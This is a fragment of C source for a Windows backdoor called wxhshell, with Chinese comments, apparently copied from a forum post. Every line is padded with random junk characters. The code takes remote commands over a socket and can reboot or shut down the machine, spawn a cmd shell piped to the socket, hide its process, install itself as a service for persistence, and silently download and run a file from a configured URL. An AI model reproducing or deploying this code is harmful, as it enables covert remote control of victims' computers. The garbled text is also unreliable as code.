    switch(cmd[0]) { |!Uul0O  
  x^sSAI(  
  // 帮助 l.>3gjr  
  case '?': { A r=P;6J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZBY*C;[)*P  
    break; vz~`M9^  
  } ]cmq  
  // 安装 Y| dw>qO  
  case 'i': { fo$s9g^<  
    if(Install()) `<#Ufi*c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &eA!h  
    else " J4?Sb<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d~QZc R  
    break; z JBcz,  
    } +<})`(8  
  // 卸载  gl$}t H  
  case 'r': { c*!xdK  
    if(Uninstall()) 6&,{"N0 T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jc=~BT_G  
    else eV5 e:9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >LAhc7I  
    break; hJc^NU5  
    } cVYPPal  
  // 显示 wxhshell 所在路径 }+/F?_I= %  
  case 'p': { R9q9cB i3  
    char svExeFile[MAX_PATH]; y 1I(^<qO=  
    strcpy(svExeFile,"\n\r"); 8 *Y(wqH  
      strcat(svExeFile,ExeFile); HKXtS>7d  
        send(wsh,svExeFile,strlen(svExeFile),0); 0Yo(pW,k  
    break; Ny" "lcy  
    } %E\pd@  
  // 重启 c,,(s{1  
  case 'b': { -s_=4U,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zcE` .)y  
    if(Boot(REBOOT)) p|`[8uY?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K%@#a}kRb  
    else { Ib}~Q@?2  
    closesocket(wsh); qX"m"ko  
    ExitThread(0); eZbT;  
    } By;{Y[@rS  
    break; .  g8WMm  
    } zI& ).  
  // 关机 k:yrh:JhB  
  case 'd': { C"cBlru8B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  QUb#84  
    if(Boot(SHUTDOWN)) 3E$h W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y,F|L?dIq  
    else { ;\],R.!  
    closesocket(wsh); ']^_W0?=  
    ExitThread(0); *7`amF-  
    } w:|YOeP  
    break; ^@-qnU lH  
    } Y- tK  
  // 获取shell 0ZJN<AzbA  
  case 's': { V }wh  
    CmdShell(wsh); p9Y`_g`  
    closesocket(wsh); >U#j\2!Sg  
    ExitThread(0); +9NI=s6  
    break; R-]i BL  
  } 'iikcf*)C  
  // 退出 FNHJHuTe  
  case 'x': { _OY<Hb3%M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BnPL>11Y  
    CloseIt(wsh); qG8-UOUDt  
    break; IuOQX}  
    } FV>xAU$  
  // 离开 IWNIk9T,u  
  case 'q': { V5up/6b,1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Epm%/ {sHV  
    closesocket(wsh); &B@qb?UE1  
    WSACleanup(); W:y'a3~  
    exit(1); "*oN~&flc  
    break; 'l41];_  
        } ;Ebpf J  
  } &^JYIRn1\  
  } ibxtrt=  
NVG`XL  
  // 提示信息 IEQ6J}L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 12S[m~L%  
} N,?D<NjXl  
  } dY$jg  
*rmwTD"  
  return; U\`yLsKvH`  
} q,fk@GI'2  
=G-u "QJ6  
// shell模块句柄 nTH!_S>b(Y  
int CmdShell(SOCKET sock) tRzo}_+N  
{ #e5*Dr8  
STARTUPINFO si; #M=d)}[  
ZeroMemory(&si,sizeof(si)); &4V"FHy2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V~ [I /Vi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1Jn:huV2  
PROCESS_INFORMATION ProcessInfo; Xb5 $ijH  
char cmdline[]="cmd"; ;h#nal>w@S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I.L8A|nZ  
  return 0; }ej-Lu,b3  
} *+>R^\uT  
xOXCCf/  
// 自身启动模式 Fwfe5`9'  
int StartFromService(void) r/B iR0$E  
{ >a5avSn  
typedef struct 2apQ4)6#[H  
{ d +Bz pS@p  
  DWORD ExitStatus; d$*SVd:  
  DWORD PebBaseAddress; }RY&f4&GV,  
  DWORD AffinityMask; -E>se8%"  
  DWORD BasePriority; Ykt(%2L  
  ULONG UniqueProcessId; <B =!ZC=n  
  ULONG InheritedFromUniqueProcessId; 9KLhAYaq  
}   PROCESS_BASIC_INFORMATION; J"O#w BM9  
%Q[+bN[/  
PROCNTQSIP NtQueryInformationProcess; m[!AOln)  
 zFk@Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yi9c+w)b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !>L+q@l)  
O-K!Bv^ Q  
  HANDLE             hProcess; uH?lj&  
  PROCESS_BASIC_INFORMATION pbi; 4,g3 c  
x1ID6kI[{*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ky5gU[  
  if(NULL == hInst ) return 0; | QI-gw  
uyDYS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4!r> ^a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;r XhK$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %D:5 S?{  
4uUR2J  
  if (!NtQueryInformationProcess) return 0; q{t"=@lX01  
`O/RNMaC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -!p -nk@9|  
  if(!hProcess) return 0; ,9;d"ce  
-?AaRwZ,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; : j m|)  
7OOod1  
  CloseHandle(hProcess); tHo0q<.oX  
5`3f"(ay/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); % 1p4K)  
if(hProcess==NULL) return 0; |uE _aFQs  
Pf]O'G&F  
HMODULE hMod; 4MOA}FZ~  
char procName[255]; ,.+"10=N.  
unsigned long cbNeeded; TAu*lL(F  
Ev\kq>2 O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K-}'Fiq  
W<uL{k.Kpd  
  CloseHandle(hProcess); 6}6ky9  
4)3!n*I  
if(strstr(procName,"services")) return 1; // 以服务启动 y[!4M+jj  
4';]fmf@[i  
  return 0; // 注册表启动 fKY1=3  
} ~-w  
7l})`> k  
// 主模块 4IYC;J2L  
int StartWxhshell(LPSTR lpCmdLine) uPpRzp  
{ dsxaxbVj%  
  SOCKET wsl; D|D1`CIM  
BOOL val=TRUE; 8c'0"G@S  
  int port=0; [+st?;"GF  
  struct sockaddr_in door; s=nE'/q1|  
|KFWW  
  if(wscfg.ws_autoins) Install(); Ueyt}44.e2  
Q nqU!6k@  
port=atoi(lpCmdLine); 4l?98  
_u:4y4}  
if(port<=0) port=wscfg.ws_port; ZN ?P4#Z S  
s `r  tr  
  WSADATA data; ]&ptld;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N2_=^s7  
g/q$;cB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }m<)$.x|P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); | We @p  
  door.sin_family = AF_INET; 'g a1SbA]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1*x4T%RF$  
  door.sin_port = htons(port); +Hb6j02#  
m(3bO[u1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  1Nk}W!v  
closesocket(wsl); vN7ihe[C  
return 1; {fMrx1  
} o+O\VNW  
8[FC  
  if(listen(wsl,2) == INVALID_SOCKET) { *3<m<<>U  
closesocket(wsl); FJ}QKDQW=  
return 1; G<-)Kx  
} K(plzQ3  
  Wxhshell(wsl); f41!+W=  
  WSACleanup(); S@7A)  
cQv*lvG9>  
return 0; ' U)~|(\i  
fXw%2wg  
} ?#kI9n<O  
-c=IO(B/  
// 以NT服务方式启动 T[XI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o0wep&@  
{ w'5~GhnP+  
DWORD   status = 0; I01On>"@7  
  DWORD   specificError = 0xfffffff; i*Y/q-N|  
BsB}noN}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U &Ay3/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \+MR`\|3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yHt63z8'  
  serviceStatus.dwWin32ExitCode     = 0; ,h]N*Z-I"  
  serviceStatus.dwServiceSpecificExitCode = 0; #IBBaxOk  
  serviceStatus.dwCheckPoint       = 0; ?V[yw=sl04  
  serviceStatus.dwWaitHint       = 0; 9~,eu  
oUw-l_M]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z6G^BaT'  
  if (hServiceStatusHandle==0) return; ~|J6M  
uB,B%XHj  
status = GetLastError(); !4jS=Lhe>  
  if (status!=NO_ERROR)  fV}\  
{ m ]K.0E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =10t3nA1$  
    serviceStatus.dwCheckPoint       = 0; -"a+<(Y  
    serviceStatus.dwWaitHint       = 0; & ,&+/Sr11  
    serviceStatus.dwWin32ExitCode     = status; @R2|=ox  
    serviceStatus.dwServiceSpecificExitCode = specificError; \hM6 ykY-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v& XG4 &  
    return; XtfL{Fy|T  
  } u'K<-U8H  
>/bl r}5 H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wKY6[vvF  
  serviceStatus.dwCheckPoint       = 0; |x<  
  serviceStatus.dwWaitHint       = 0; \0WMb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m; ABHq#  
} t41cl  
_i8$!b2Mr  
// 处理NT服务事件,比如:启动、停止 =,@SZsM*B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jQ`"Op 3  
{ Op%^dwVG(v  
switch(fdwControl) u khI#:[  
{ 1C$^S]v%a  
case SERVICE_CONTROL_STOP: D}"GrY 5  
  serviceStatus.dwWin32ExitCode = 0; >; W)tc,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e('c 9 Y  
  serviceStatus.dwCheckPoint   = 0; Tz*5;y%4  
  serviceStatus.dwWaitHint     = 0; *h =7:*n  
  { x(b&r g.-0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RPiCXpJv&  
  } ao-C9|2>NU  
  return; 2%8N<GW.F  
case SERVICE_CONTROL_PAUSE: *Nt6 Ufq6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4UL-j  
  break; i2j)%Gc}  
case SERVICE_CONTROL_CONTINUE: n)K6Z{x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N{ 9<Tf*  
  break; 6U /wFT!7$  
case SERVICE_CONTROL_INTERROGATE: Y*}Sq|y  
  break; Xj/ X.  
}; 56bB~ =c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WJ.PPq>]F  
} X2e|[MWkp  
If&p$pAH?  
// 标准应用程序主函数 v;$^1I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,Xh4(Gn#b  
{ _>`0!mG  
J5o"JRJ"  
// 获取操作系统版本 *TXq/ 3g  
OsIsNt=GetOsVer(); Xl aNR+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1OGlD+f  
8D n]`}ok  
  // 从命令行安装 r=w%"3vb^  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7]v-2 *  
nK|";  
  // 下载执行文件 WWe.1A,  
if(wscfg.ws_downexe) { Ka{IueSs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R #ZDB]2  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yj"UD:p  
} X! ]~]%K$y  
wk/->Rz  
if(!OsIsNt) { ry< P LRN  
// 如果时win9x,隐藏进程并且设置为注册表启动 xxiLi46/  
HideProc(); 'RA[_Z  
StartWxhshell(lpCmdLine); e!-'O0-Kw  
} HIU@m<  
else |-|BM'Y  
  if(StartFromService()) A |&EI-In  
  // 以服务方式启动 VC+\RB#:-  
  StartServiceCtrlDispatcher(DispatchTable); ;|^fAc~9{r  
else *@ o3{0[Z  
  // 普通方式启动 S; c=6@"  
  StartWxhshell(lpCmdLine); =['ijD4TW  
g<C})84y3  
return 0; MJC Yi<D  
}
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只看该作者 1 发表于: 2006-10-10
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